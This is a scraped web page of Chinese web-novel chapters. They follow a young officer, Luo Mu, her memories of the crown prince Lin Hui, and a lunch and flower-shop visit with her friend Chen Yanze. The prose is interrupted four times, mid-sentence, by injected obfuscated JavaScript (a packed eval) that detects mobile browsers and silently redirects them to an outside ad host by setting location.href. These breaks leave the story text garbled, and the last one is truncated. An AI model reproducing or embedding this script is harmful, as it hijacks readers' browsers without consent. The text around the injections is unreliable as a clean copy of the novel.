他还是骄傲又耀眼的样子,梦里他们躲在松木楼梯下,漫步在七月广场的密林里,梦里甚至还有那场开头很棒结尾很糟的舞会。 洛暮想起来再过一段时间七月广场的山楂就要成熟了。当初设计望渊军校的人肯定是个吃货,军校里全都是果树,一茬落了又是另一茬。洛暮之前骗林晖吃过树上的山楂,为此她还以身入局先吃了一个,信誓旦旦说味道不错,你快来尝尝。 她期待地看着林晖将信将疑地咬了一口,那瞬间他的眉毛微微皱了下,但很快就舒展开,然后面无表情地咽下整个山楂,板着脸一言不发。 “你……不酸吗?”洛暮难以掩饰自己的惊讶,她本来都露出恶作剧得逞的笑容了,结果林晖居然毫无反应。 林晖看着她,过了一会才开口说话:“怎么会问这个问题?你看上去很失望的样子。” 诡计被拆穿,洛暮立刻大笑起来,她光明磊落地承认了:“好吧好吧,我承认是故意想骗你吃的。真的不酸吗?” “不,一点都不。” “怎会如此!我刚刚可是费了很大劲才没有表情失控,就为了骗过你,不然肯定当场就龇牙咧嘴喽。”洛暮叹息道。 闻言林晖的嘴角动了动,他想说点什么,但最后淡笑着别开脸。那会刚刚入秋,落叶缤纷,他们脚下红彤彤的山楂滚落一地,空气里弥漫着山楂被踩碎后酸涩的清香。 洛暮在夜半醒来,她默默地翻开在床头的日记本,摸出里面的书签。在黑暗里,她依旧能清晰地看见树叶的脉络,小猫卷起的尾巴。陈砚泽也看过这张书签,只是不知道是林晖画的。陈砚泽说真是张温柔的画啊,当时画画的那个人心里一定很柔和吧。 温柔吗,洛暮心想。林晖也许真是个温柔的人吧?但她无从得知了。其实有时候你真的一点都不了解曾出现在你身边的人,就像人一生中无数次途经回家的小路,看惯了道旁盛开的蓝色小花,却从不知晓它的芳名。 她把书签重新夹回日记里,盖上被子再度入睡。 阿纳斯塔西亚正是清晨,侍官毕恭毕敬地敲了敲房门,一般情况下里面会传来冷冷的一句“请进”,但今天出了例外,他等候好一会也没有听见太子殿下的声音。 侍官听见身后传来脚步声,立刻转身去看,那位笑容迷人的首相家少爷狄格特已经站在门口了。他问:“怎么?林晖还没起床吗,他可是答应要来我生日宴的。” 侍官尴尬地笑道:“狄格特少爷,您要不稍等?” “等什么等,上次舞会我可是帮了他大忙,林晖欠我份人情,还要我等他吗?你不用管了,我进去看看。” 狄格特推门进去,他来过几次皇宫,对林晖房间的布局还算熟悉。床上没有人,他沿着小廊向露台走去,露台的门半开着,门缝中吹来微冷的晨风。狄格特问:“林晖?” 林晖衣着单薄,他坐在大理石桌前,一手撑头,似乎在沉思。他的身后,恢弘巍峨的王宫沐浴在玫瑰色的朝霞中,被誉为帝国明珠的阿纳斯塔西亚美如仙境。 面对此等令人陶醉的景色,林晖表情却有点茫然,有点疲惫。像是刚从一场恒久的梦中醒来,突然面对庞大真实的世界而感到无所适从。他生来就是一块镶嵌在王冠上的宝石,但现在身处帝国的最高的地方竟然感到恍惚。 林晖听到狄格特的呼唤,慢慢地转过头来,此时的他已经恢复到平日里淡淡的神色。好像刚刚那个对着黎明出神的人不是他一样。 “刚才是没睡醒吗?很少见你这个样子。”狄格特坐到他面前。 “只是想吹吹风而已。”林晖说。 “那你真会挑地方,不愧是太子殿下,你有的是王宫里视野最好的房间了吧!景色真棒!” “那你多看会,我叫人把早餐送来,你还可以边看边用早餐,看到腻为止。” “我有时候分不清你是在讽刺还是认真的。早餐就免了,但我要欣赏一会这个景色。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122604|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “随你。”林晖说。他坐在一边不说话了,听狄格特兴奋地说着今天的安排,他们一会要去阿纳斯塔西亚的德亚饭店顶层,在那里首相为自己的小儿子准备了一场盛大的生日宴会。 狄格特说起话来就滔滔不绝,他讲自己邀请了哪几个望渊军校的同学,他们毕业后有些在八大部里任职,有些留在军中,总之都是前途似锦,大有可期。 林晖对此兴致缺缺,他一直注视着远方翻涌的粉色云海。好在狄格特是个习惯唱独角戏的人,听众反响不好也能说得兴高采烈。 “赵婉如你还记得吗?她这次也会来。当时在军校我就觉得她是个美人,果然现在进了宣传部,变化大得简直可以称得上光彩照人!她特意向我打听你来不来,应该是对你芳心暗许。” “哦。”林晖说。 “见鬼,你一点反应都没有吗?难道那么多美人对你暗送秋波,你就真的无动于衷?” “所有把年轻时光挥霍在爱情上面的人都蠢得出奇。如果一个人想要不受干扰,那他最好永远别碰爱情这个东西。”林晖冷冷地说。 “有必要对自己这么苛刻吗?显然只有你这种没谈过恋爱的人才能如此武断地下结论。林晖,只要你体验过爱情的美妙,就会知道一个有趣的女孩能为你带来怎样的绝妙感受,尝过一次就会想有第二次!”狄格特说。 林晖不说话,只是用眼神表示对他观点的轻蔑。但他中途似乎还笑了一下,幅度很小几乎看不出来。 狄格特不以为意,他是情场老手,在他眼中林晖全然是个从未涉足爱情的小白。固执点又怎么样呢?前辈是很包容的。他说:“我知道你这个人眼界很高,想必对伴侣的要求也很挑剔。但你不多试几个怎么知道谁适合你呢?” “你说的很对,不多试几个怎么知道自己有多蠢,浪费了多少时间呢?”林晖反唇相讥。 他摁了摁手环,走进房间。 狄格特一下子被噎住了,很有挫败感地坐在露台上。他记得小时候林晖还没有这么擅长讥讽,但自从上军校,他在讽刺这门艺术上就突飞猛进,不知道是跟谁对练出来的。 过了一会,换好礼服的林晖站在露台门口,他刚才是去更衣装饰了。狄格特吹了个口哨:“真帅啊,我都要有些自卑了,你这样岂不是会把我的光彩都夺走?” “没关系,你要是有这个担忧的话,我也可以留在这里继续看风景。”林晖说。 “绝对不行,你必须到场。” “那就走吧。” 他们向外走去,林晖在狄格特前面,他忽然问:“七月广场的山楂就要成熟了吧。” “什么?”狄格特愣住了,他分不清校园里任何一棵果树,单知道它们会结果,他更不知道七月广场还种了山楂。他问:“你怎么突然想起这个?” “没什么,山楂很酸。”林晖轻轻地说。 25.凯撒必死于今日(一) 科技园区临河街510号,怀秋居。 洛暮按照陈砚泽发来的地址找到这家饭店,一到门口她就笑了。 好啊,陈砚泽的喜好还是没怎么变,出去吃饭她总是会找这样古色古香装潢考究的饭店。洛暮无所谓,她懒得在吃喝上花费心思,陈砚泽带她去哪她就去哪。于是她们拥有了无数次环境奇好滋味奇差的聚餐,洛暮吃到最后就会冷笑连连,陈砚泽在对面捂着脸不敢说话。 “您好,请问有预约吗?”服务生问她。 “稍等,我看一下。”洛暮向室内张望,她们用餐特意避开了中午的高峰期,现在是两点半,食客稀少,但她怎么找也没见陈砚泽。 “回头看!”她身后传来一声激动的呼唤。 洛暮转过身,条件反射般伸出手,下一秒就有人扑了她个满怀。 “陈砚泽!”洛暮喊道。 “思念我了吧。”来人笑嘻嘻地问。 “我要是说没有呢?快起来,好重,感觉要被你压倒了。”洛暮说,但她站得稳稳当当,陈砚泽那用力一扑换成其他人肯定就倒下了,好在洛暮核心力量牢固得不像话,连后退的动作都没有。 “那也是我的思念和热情把你压倒了。”陈砚泽得意地说。 “哈!”洛暮没忍住笑起来。 陈砚泽松开她,把手里提着的东西展示出来:“你最爱的双皮奶和芒果布丁。我觉得这家糖水铺子超级好吃,就是有点远。我专门点的外卖送过来,刚刚是去取它了。” “你还记得呢。”洛暮吃惊,“我以为按你的健忘程度早就把这事抛之脑后了。” “我健忘?”陈砚泽像是听到了天大的笑话。 “你还不健忘?”洛暮忽然笑了,“想当年我去研究院给你送晚餐,但你突然来了项目,就把我丢到一个空闲的会议室。哇……我等你等到半夜,结果呢?你从实验室走出来,根本忘了还有一个我在等着。我坐在会议室里,听着你的脚步越来越远,最后你锁上楼门就走了!” “住口,不准再说了。”陈砚泽脸唰得红了,“我那天走了几步,总感觉少点什么,然后才反应过来是少了你。我想起来不就立刻就跑回去领走你了吗?可恶的洛暮,原来你知道我要走,当时怎么不喊我一声!” “我好奇你究竟能不能记起我,你果然没记起来。” “要是真没记起来怎么办?笨蛋洛暮,被关一晚上就好看了。” “我哪有那么傻,要么给你打电话,要么翻窗户走人,那才几楼。”洛暮懒懒地说,一副大局尽在我掌控之中的样子。 “摔断腿就舒服了。哼……那晚你像只可怜的兔子一样坐在那等我,我看到时心疼死了,结果是你装的。”陈砚泽气鼓鼓。 “谁说我不可怜?我确实是被你遗弃了呀。好了好了,我们赶紧入座吧。”洛暮笑道。 “可怜之暮必有可恨之处。”陈砚泽高傲地撂下这句话,率先拎着糖水进了座位。 她们入座,洛暮正想去翻桌上菜单,陈砚泽却先一步摁住她的手:“我已经点好菜了,绝对是你爱吃的。你什么都不用操心,只管好好吃饭。” “真的,我可以再信你一次吗?”洛暮想起陈砚泽带她尝试的无数次黑暗料理就心有戚戚。 “相信我,这次再不会出差错。”陈砚泽太清楚洛暮在想什么了,当即信誓旦旦地补充,“这家我来过一次,已经筛选过了。” “比起东门外的小碗菜如何?” “我觉得还是你的小碗菜最好吃,但这家也不会特别逊色。真的,再信我最后一次。”陈砚泽就差对天发誓。 “最好如此,否则天亮之前,我必有三次不认你。”洛暮说。 此话一出,她们都笑了。 这句话洛暮经常说,出自前文明的《圣经》。那是耶稣被抓捕前,他忧伤地对弟子彼得说:“我要去的地方,你不能跟我去。”彼得说我为什么不能跟你去,我愿意为你舍命!耶稣就说:“你愿意为我舍命吗?我实实在在地告诉你,鸡叫之前,你必有三次不认我。” 后来耶稣被迫害,他的弟子也受到追捕。有人三次问彼得你认识耶稣吗?彼得果然三次否认。第三次否认后,天光乍亮屋外传来第一声鸡鸣,他想起耶稣曾说过的话,不禁痛哭起来。 洛暮读的时候深深受这个情节震动,她把故事分享给几个好友,但说着说着里面的意思就变了,成为他们开玩笑会用的话,就比如现在。 因为是提前点菜,服务生很快就将菜品端上来,还有两碗热气腾腾的米饭。 四个炒菜,两荤两素。小炒黄牛肉,辣椒炒肉,干煸豆角,尖椒鸡蛋。这些都是她们曾经在望渊东门外的菜馆常点的,想不到阿德尔玛也有相近的菜色,陈砚泽实在是费心了。 洛暮喜出望外:“果然都是我爱吃的,闻起来好香。你怎么知道我很想吃肉,尤其是辣椒炒肉。军队食堂还是做不出这种美味。” “你不是说了好几次想吃肉想吃辣椒吗?怎么样,味道不错吧。”陈砚泽拿着筷子,却不急着吃,满意地看着洛暮大快朵颐。 “太美味了!还是你懂我!”洛暮狼吞虎咽,仿佛被饿了十年。 “多吃点,军营那么辛苦,我感觉你瘦了一圈,是我的错觉吗?” “岂止瘦了一圈,我觉得自己已经形销骨立了。很想回军校休息一下,还是上学好。” “你给我发来的消息明明是想变成一座军校。”陈砚泽微笑着提起洛暮那晚上的消息。 洛暮险些被呛死:“睡前发的消息能作数吗?我第二天起来都没看懂自己想说什么,难为你还能破译。” “我怎么可能不知道你要说什么。”陈砚泽笑了笑,“还有,做军官不都是作威作福吗,你怎么把自己折腾成这样。我同事的男友也是军官,来研究所看她时身后跟了好几个士兵提包提礼物。她很得意,每次要向整个实验室都炫耀一下自己的军官男友。” “正如你所说,那是作威作福的军官,而我是做牛做马的军官。” 她们大笑起来,洛暮说:“好啦,不开玩笑了,说点正事,比如你的工作。最近还顺利吗?” “休息场合还要谈工作,你果真就是我们研究所最需要的那种人——明明只有十九岁,却仿佛有着三十九年工作经验。”陈砚泽一挑眉,打趣道,“工作的话还可以吧。因为我是阿纳斯塔西亚来的,他们给我的待遇很高,我现在是实验室的高级研究员,研究方向依旧是能源开发。毕竟我们宇宙的能源越来越紧缺了,所有的研究所都把精力投到这方面了。” “果然如此,那有什么进展吗?阿德尔玛对于能源的研究怎么样?” “毫无进展,百分之九十九的研究都是为了骗上头的经费。反正我是这么觉得的,没有任何意义。显而易见能源的枯竭是这几十年的趋势,无法逆转。如果还找不到解决办法,总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126907|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一天人类会干涸在这个宇宙。唯一值得安慰的是,阿德尔玛至少还知道在宇宙方面下功夫,而阿纳斯塔西亚那边只会想方设法往地下钻研。一群蠢货,地底下什么都没有。” “宇宙里会有能源吗?”洛暮问。 “比地底有希望。我们也许能在宇宙边界的那些小行星里找到能源,但现在佐贝伊德区被叛军占领了,我们不可能靠近边界。而且最重要的是,这么多年没人想着再去宇宙边界看看,以至于我们的飞船技术几乎毫无发展,还是前文明留下的那套。” “这样一说总感觉人类的未来很灰暗啊。”洛暮感叹道。 “其实也还好,现有的能源预计还能支撑一百年。一百年能发生很多事了。也许再过一段时间,我们现在的忧虑就纯属杞人忧天。而且退一万步来说,我们未必能活一百岁,实在不行就让后人担惊受怕吧,我死后哪管洪水滔天。”陈砚泽耸耸肩。 洛暮笑了笑,神色不知道为什么有些忧郁,她说:“好像也有道理。” “放心啦,至少我们活着的时候不会有大问题。”陈砚泽安慰道,她毕竟是内行,在洛暮面前有足够的自信。 “但愿如此,我可不想活着见证人类毁灭。” “肯定的,小暮你真是忧思过度。”陈砚泽早就习惯洛暮这种突发性忧国忧民感时伤怀,她提起另一件事情:“不过阿德尔玛比阿纳斯塔西亚还是强一点的。这里对于宇宙边界的研究是存在的,虽然规模很小,但至少不像阿纳斯塔西亚完全是一片空白。阿德尔玛不愧是探索宇宙的先锋地带。” “我也记得你最喜欢这个课题,当初来这里不就是为了它吗?” “是啊。我准备过段时间,等我在这里扎稳脚跟就申请负责那个研究课题,步骤我都想好了,首先做几个垃圾项目,象征性发出一些成果,让他们都觉得我很可靠。这样子职位上去了,一有自己独立的实验室我就可以放手开干!” “你还是对你的独立实验室念念不忘。”洛暮调侃道。 “没有研究员不想有自己的实验室,就跟你身为军人想做主官一样。我太想要自己的实验室了,你想想,这意味着我可以独立研究而不必被其他人打扰,我可以享用里面的任何一个器材而不担心它被占用。我什么时候才能有自己的实验室呢?”陈砚泽说着眼睛就闪闪发亮了,她同洛暮开玩笑,“小暮,你要不今年努努力当上将军,动用你那无上权力给我盖一座实验室。” 洛暮最近听到将军这个词就浑身僵硬,她心说还好陈砚泽你没用少将,不然我当场昏厥都是小意思:“我努努力吧,今年肯定是不行。再过几年,不要揠苗助长急功近利。” “哟哟,真的假的?不过你放心,等你当上将军,我说不定也是什么研究所所长,实验室一座座向我飞来。到时候我就不在乎它们了,我在乎的是住你的将军别墅!”陈砚泽心情大好,即使知道洛暮是在哄她,嘴角也扬得很高。 “咳咳……什么将军别墅,住你的实验室去吧!”洛暮赶紧转移话题,“话说回来,我还没机会去你现在的研究所呢。” “就这么喜欢看我做研究?其实枯燥得很呢。” “因为我喜欢你的宇宙边界课题。如果有一天我的军衔高到可以左右很多事情,那我一定下令向宇宙边界进发。” 陈砚泽笑着向她摊开双手,脸上露出“不愧是我朋友”的表情:“我就知道你也会向往宇宙边界。” 26.凯撒必死于今日(二) “我就知道你也会向往宇宙边界。”陈砚泽说。 听到这话,洛暮唇边掠过一丝神秘的微笑:“对于很多人来说,宇宙的边界就是禁令。它的存在预兆着一种可怕的东西,这感觉就像是最初的人类对黑夜的惧怕,因为那时太阳落山野兽出没,只有篝火和洞穴才是安全的。” 一说起宇宙边界,洛暮的神色就变得格外庄重肃穆,仿佛刚才跟陈砚泽开玩笑扯家常的是另一个人。她突然又做回那个冷静的、不苟言笑的洛暮了,这正是陈砚泽在与洛暮成为朋友前对她印象最深的模样。 洛暮半含着讥讽说下去: “从小接受的教育告诉我们,已知的宇宙才是安全的,边界不可触碰。但我研究前文明时不免觉得疑惑,为什么前文明拥有那么广袤的宇宙,而我们却被困在这小小的宇宙内。难道真的只是年岁久远记载失误吗?那道边界究竟意味着什么?它背后真的一无所有了吗?我找遍了所有资料都没得到答案,正因此我很想亲眼看看那道边界,用前文明的话来说,就是看看它的庐山真面目。” “庐山真面目。”陈砚泽感慨地重复了一遍,“很棒,跟我想的一模一样。小暮,你其实该来做研究而不是当军官。我早就想说了,你做研究绝对也出类拔萃,我导师会对你这种学生赞不绝口的。” 洛暮淡淡地笑了,好像是回忆起什么傻事:“望渊军校补助给得多嘛。而且我当初满心想着要在上流社会闯荡一番事业,想都没想就报考了望渊,毕竟它是最好的跳板。” 陈砚泽觉得很有趣:“原来你也有那个时候。” “当然,愚蠢的、满怀憧憬的时候。” 这怎么能叫愚蠢呢,谁敢说自己没有渴望过阿纳斯塔西亚,陈砚泽心想。她故作怅然:“那真是可惜,科研界损失了你这样一个人才。” “做军官也没什么不好的,比如说现在阿德尔玛就需要我们军人去保护。保护好了阿德尔玛,你才能安心地做研究。” “好有安全感,还是那句话,你要是男生我肯定立刻就嫁给你。”陈砚泽抛了个自以为高明的媚眼给她,但在洛暮的视角看来效果就很惊悚了。 这简直像伪装成学生的教导主任,明明脸上都写了“我要做灭绝师太”一行大字,但还要强行混进学生之中,然后眼如雷达时刻准备抄出手枪送违法乱纪分子归西。 洛暮心说你还是看实验报告时最富深情,这种粗制滥造的媚眼就算了,她连忙打断陈砚泽的暗送秋波:“饭吃完了,糖水呢,快拿出来。” 这招真管用,陈砚泽立刻就去拆糖水袋子了。 她们一起享用甜品,陈砚泽继续说自己在研究上的烦恼:“但帝国的技术停滞不是一般的严重,这些年我们只是躺在前文明留下的技术上睡大觉,自主研发几乎是零。尤其是近二十年——完完全全地静止,我都怀疑科学院住了群死人。” “那平时都在研究什么,我每次去都见你们忙忙碌碌的。”洛暮奇道。 “哈,忙些便捷但毫无意义的东西。譬如新式悬浮车呀,会说话的宠物小狗呀,能调节温度的窗帘啊。要么就是把已知的理论改一改再发篇论文,譬如一加一等于二,那我们要做的就是论证一加四减三还等于二,这样又是一篇新的好论文了。” 洛暮听得直扶额:“我现在明白帝国的技术为什么差劲了……” 陈砚泽不屑一顾:“不差劲就见鬼了。不要说跟前文明比,就连跟帝国还没建立前的混乱时代都比不了。你敢相信一百年前人类还能在宇宙空间里交战,开着飞船阻击敌军,现在你们能吗?” 这下洛暮有发言权了:“能就见鬼了。我们的飞船感觉很多年没更新换代,把我们安全快速地送到地点我都要谢天谢地。还阻击,做梦,做梦。” “坐上军用飞船你就偷着乐吧,至少不会像民用那样一个星球都飞十几天。没有经费谁给你们更新换代研发新技术。”提到经费陈砚泽就郁郁寡欢,“钱啊,钱啊……钱都去哪里了。” “你们也缺经费?”洛暮问。 “怎么,你们也缺?”陈砚泽敏锐地捕捉到“也”这个词。 两个女孩一齐大怒:“所以钱都去哪里了!” “在老爷们的口袋里。”洛暮面带讥讽地说。 “在给他们设计的全自动化别墅里,这可比造飞船有前途多了,经费像雪片一样飞来。”陈砚泽凉飕飕地说。 她们笑得前俯后仰,就是笑着笑着无端觉得有些悲凉,一时间竟不知道是乐极生悲还是悲极生乐。 陈砚泽放下已经吃空的布丁碗,忽而长长一叹:“全方面的倒退,看不到任何希望。以前业界还有对前文明的研究,但现在也全都销声匿迹。我们很多技术都继承自前文明,停止对它的研究完全是自废武功。前文明,前文明……小暮,假如我有了自己的课题组,搞到足够多的经费,那时候我就不仅要研究宇宙边界,还要去探索前文明的遗迹。” “那很顺路,前文明的遗迹都在宇宙边界那里吧,我记得只有两座。” “这你都知道?”陈砚泽没料到洛暮居然对这些行业秘辛如此了解,但想想也正常,洛暮是她见过对前文明最感兴趣的人,“不过民用飞船很难去到那里,只有军方那种动力的飞船才能去。据说其中的一座被前辈探索过,好像是二十年前的事情了,后来再也没人去研究宇宙边界和前文明。” 二十年前……洛暮若有所思,她问:“为什么不去研究了?” “准确的说不去研究才叫常态,那次是例外。你自己都说宇宙边界对于人类来说跟禁令一样,正常人不避着走就很好了,我们这种天天叫嚷着要去宇宙边界看的人简直是异类中的异类。” “说得也是。”洛暮坦然接受自己是异类的说法。 提起前文明,陈砚泽忍不住就要多说几句:“前文明真的很遗憾,我一直不明白那么辉煌的一个文明怎么就突然灭亡了。而且据研究它灭亡的时间离我们不远,可灭亡原因居然什么记载都没有。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132803|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “也许人家不算灭亡呢,我们都是前文明的后代。只是文明断代得太严重,新人类对它没有认同感而已。”洛暮说。 “可不是,我面前明显就有一个对前文明很有认同感的人。”陈砚泽斜睨她。 被说中心事,洛暮笑起来,她点头说:“对,有点吧。可能是小时候接触过它的资料,留下的印象比较深刻。还记得家里有很多前文明的书籍,我通用语都还没学会的时候,已经能看懂其中的大部分书了。” “了不得啊,看来阿姨也是前文明的研究者,不然这些书籍可是很难搞到的,图书馆还有网上都没有。”陈砚泽说。 “有可能。但我小时候她总是不让我碰那些书,我都是偷偷读的。长大一点她才改变了主意,那时候我就能随便翻阅了。” 其实洛暮也不清楚母亲具体的工作,但她一定是个很有能力的女人,不然怎么可能年纪轻轻就为女儿攒下一笔不菲的存款,这样即使她去世后洛暮也能按部就班地完成学业。甚至她还有几样华贵的首饰,舞会上洛暮戴的项链就是母亲留下的,它丝毫不逊色于其他贵族女孩脖颈上的宝石。 母亲给洛暮的印象是神秘温柔的,就跟童年那些书籍所象征的失落文明一样。但她又那么真实有生活气息,洛暮的记忆里每个早晨她都准时地在厨房里折腾早餐,把各样厨具摆弄得叮叮当当响。她搞这么大阵仗,成果无非是一碗寡淡的粥和一盘凉拌菜,实用性不如蒸两个冷冻包子。 洛暮很多次吃得不耐烦。但母亲总会说你去别处还能吃到这么健康的早餐吗?我做这个可是很费心力的。心力心力,做饭没天赋付出再多心力我也不买账啊。 洛暮后来确实再没喝过那么寡淡的粥,她也讨厌在家的每次早起,因为她睁开眼睛时总有种错觉,就是那个穿绿围裙爱唠叨的女人她的锅碗瓢盆声又要叮叮当当地响起了。 她们吃完甜点,结过账后就走出店门。 现在是下午四点的光景,饭店所在的这条街还算繁华,道路两旁都是服装店,橱窗里秋季的女装正在上新,休息日路上都是闲逛的妈妈们,她们走进店里挑挑选选,小孩子在走廊上穿梭打闹,陪同逛街的爸爸们无精打采地坐在店里的软凳上刷视频。 不时有手里拿着新衣服的女人走出来,她在门口张望,大声呼唤着自己孩子的名字,同时不忘埋怨瘫在旁边无所作为的爸爸,这叫整条街都显得格外热闹。 洛暮和陈砚泽挽着手在街边散步,谁也没说话。两人都沉浸在各自的心事里,只是漫无目的地沿着街道走下去。反正时间还早,洛暮要六点才返回军营。 忽然,洛暮停住脚步。这个动作打破了她们之间的平衡,陈砚泽自沉思中惊醒,张皇四顾:“怎么了?” “我想起一件事……”洛暮说,她拉着陈砚泽走上一家店铺的台阶,“陪我一起看看?” 太稀奇了,洛暮主动逛街,陈砚泽不由好奇地透过玻璃门观察店内陈设。 这居然是家花店。 27.凯撒必死于今日(三) “两位好,请问要选些什么花呢?是送人还是自留,送人的话花束还是礼盒?” 她们一进门,店主就热情地迎上来。 店主最先把注意力投向的是陈砚泽,因为这个女生容貌姣好气质优雅,打扮又非常入时,和她朋友简单的装束对比鲜明,看着就像消费的主力军。 陈砚泽漫不经心地打量店内千娇百态的花朵们,都说乱花迷人眼,但她不为所动。这冷淡的态度让店主一愣,好在洛暮及时回应:“抱歉,请让我们自己挑一会,有需要再叫您。” 真是看走眼了,原来这个清秀冷静的女生才是客户,店主笑着对她们点点头,退回柜台,暗自反思不该以貌取人。 “你要送人?”陈砚泽问。她记得洛暮对鲜花之类不能吃的东西没什么热情,买花的话估计也只有送人这个用处了。 “是的,我们后勤处的处长很关照我。记得她房间里有个花瓶,那就送束花感谢一下。” 洛暮拿起一支黄玫瑰,放在手里左右旋转,仔细地端详它的花瓣受损度。她再扫视一圈屋内的鲜花的种类,当即有了定夺,唤来店主取这枝剪那枝,两人忙得不亦乐乎。 陈砚泽对鲜花毫无研究,全程叉着腰在一旁无所事事,她看着洛暮在花中灵巧的穿梭,店主跟在她身边像个被指挥的小兵,洛暮说:“白雏菊,郁金香,对,要橙色的。再来两支跳舞兰,松茸草也要……还有桔梗,这支勿忘我也加上。好了,先用这些。” 店主开始包装花束,洛暮和陈砚泽坐在柜台前欣赏人家包装的手法,两个好友有一搭没一搭地聊天。 “看不出你对花这么有研究,你敢相信这么多花我就认识玫瑰。”陈砚泽头一回发现洛暮有这样的本领。 “没上军校前我还是很有生活情调的。”准确的说是母亲在世时洛暮很有生活情调,她为数不多的美学意识都是被母亲培养的。 “这样一看望渊军校害了你。”陈砚泽调侃。 “对,现在已经是个冷酷无情的军人了。”洛暮点头。 她们疯狂地笑起来,店主也被两个顾客的谈话吸引,不由得问:“小姑娘居然是军人吗?” 陈砚泽替洛暮回答:“店主你觉得她像吗?” 店主一边缠丝带,一边仔细地观察洛暮。良久她才说:“第一眼看着不像,但看久了觉得气质还是像的。主要是她的脸显小,跟个学生一样。” 陈砚泽心说洛暮这年纪可不就是个学生吗,洛暮倒是笑了笑:“是军人,刚调来阿德尔玛。” “了不起,女生做军人的少啊,你们都很厉害的。”做生意的人大多具备闲聊的天赋,店主很快滔滔不绝起来,“真是巧了,昨天有个女生来我店里了,她也是军人。哎呀,那真是一看就是当兵的,个子又高,行动又敏捷。她男朋友撞倒了个玻璃瓶,她唰得一下就接住了,动作快到我看都没看清。” “笨洛暮,你行吗?”陈砚泽戳戳洛暮。 “我说我空手接子弹你信吗?”洛暮对陈砚泽的问题颇为不屑,根本不想正面回答这种对她军事素养的质疑。 陈砚泽愉悦地笑起来,她就是喜欢用这些无聊的问题去打扰洛暮,然后看她傲然且不屑置辩的样子。 店主也笑:“你这个小姑娘真有意思。昨天来的那个女生说话也很有趣,她和她男朋友……也不能叫男朋友。因为他们在我店里吵了一架,然后分手了。” 这种劲爆的八卦不能不听,陈砚泽来劲了:“怎么回事,因为什么吵的?” 洛暮没陈砚泽表现得那么明显,但也很有兴趣地看着店主,等待下文。 店主手里的活没停:“其实男生我熟,他是附近大学的教授,经常来我店里给女生买花,他买过七八次吧,时间挺久的。我知道他女朋友是个军人,但昨天还是第一次看到,谁能想到刚看见就分了。” 陈砚泽心说赶紧讲重点呀,你铺垫这么久是为了什么,这是在聊八卦不是写小说,单刀直入才是正道。 店主见吊起了听众的胃口,就继续往下说:“昨天他们进来的时候我就感觉气氛不对,两个人像是在冷战。哎呦,果不其然就吵起来了。可怜啊,男生最后都哭了。” 陈砚泽立刻说:“这有什么好哭的,没出息,分手而已。” 好一个陈砚泽,没谈过恋爱的人说起话来就是铁骨铮铮。洛暮则在一旁微笑,她听到跟爱情有关的东西时都是这个表情,吴肖利已经领教过了。 店主解释道:“要不说可怜呢。你们也都知道,佐贝伊德那边在打仗。阿德尔玛可紧张了,听说好多人都要去前线,这个女生也是,她说自己可能马上要走了……” 她说着好像想到洛暮的身份,顺口关怀道:“小姑娘,你应该不去吧。” “我去的。”洛暮回答。 “哎呀,你也去啊!我瞧着你不像是能打仗的样子,你是不知道那姑娘有多高多挺拔,你才到人家肩膀!你怎么也去呢?”店主吃惊,全然忘了十几分钟前她才决定不要以貌取人。 “我当然要去。”洛暮笑了。 “这,这不行。这多危险呐!”店主叫起来,她看上去很着急,好像要打仗的那个人是她一样,“你可不知道,他们就是为着这个才分手的。” 陈砚泽脸色不是很好看:“要打仗了就和人家分手,我看这男生也不是什么好人,分了也不冤。” “哪有,错了,错了。是女生分的,她说前线九死一生局势不明朗,谁知道能不能活着回来,就算能回来,那也不知道什么时候去了。万一断个手脚落个残疾什么的,以后的日子怎么过?所以她让男生别等她了,赶紧分手两个人都不耽误时间。可怜,可怜。”店主叹息道。 洛暮点头:“这话没错,两不耽误。” 陈砚泽看了她一眼,店主也很是感慨:“难怪你们都是军人……怎么全是这个态度。男生肯定不答应啊,他说了一大堆过去的事情来挽留,后面就哭了。我听着都觉得难受。他去拉女生的手,人家一下就甩开了。听说他们本来要今年订婚的,一打仗全毁了。唉,好端端的……谁能想到?” “那也没什么办法,处在这个时候身不由己,谁都怪不了谁。女生也是为他好,谁的青春都不能耽误。”洛暮说。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 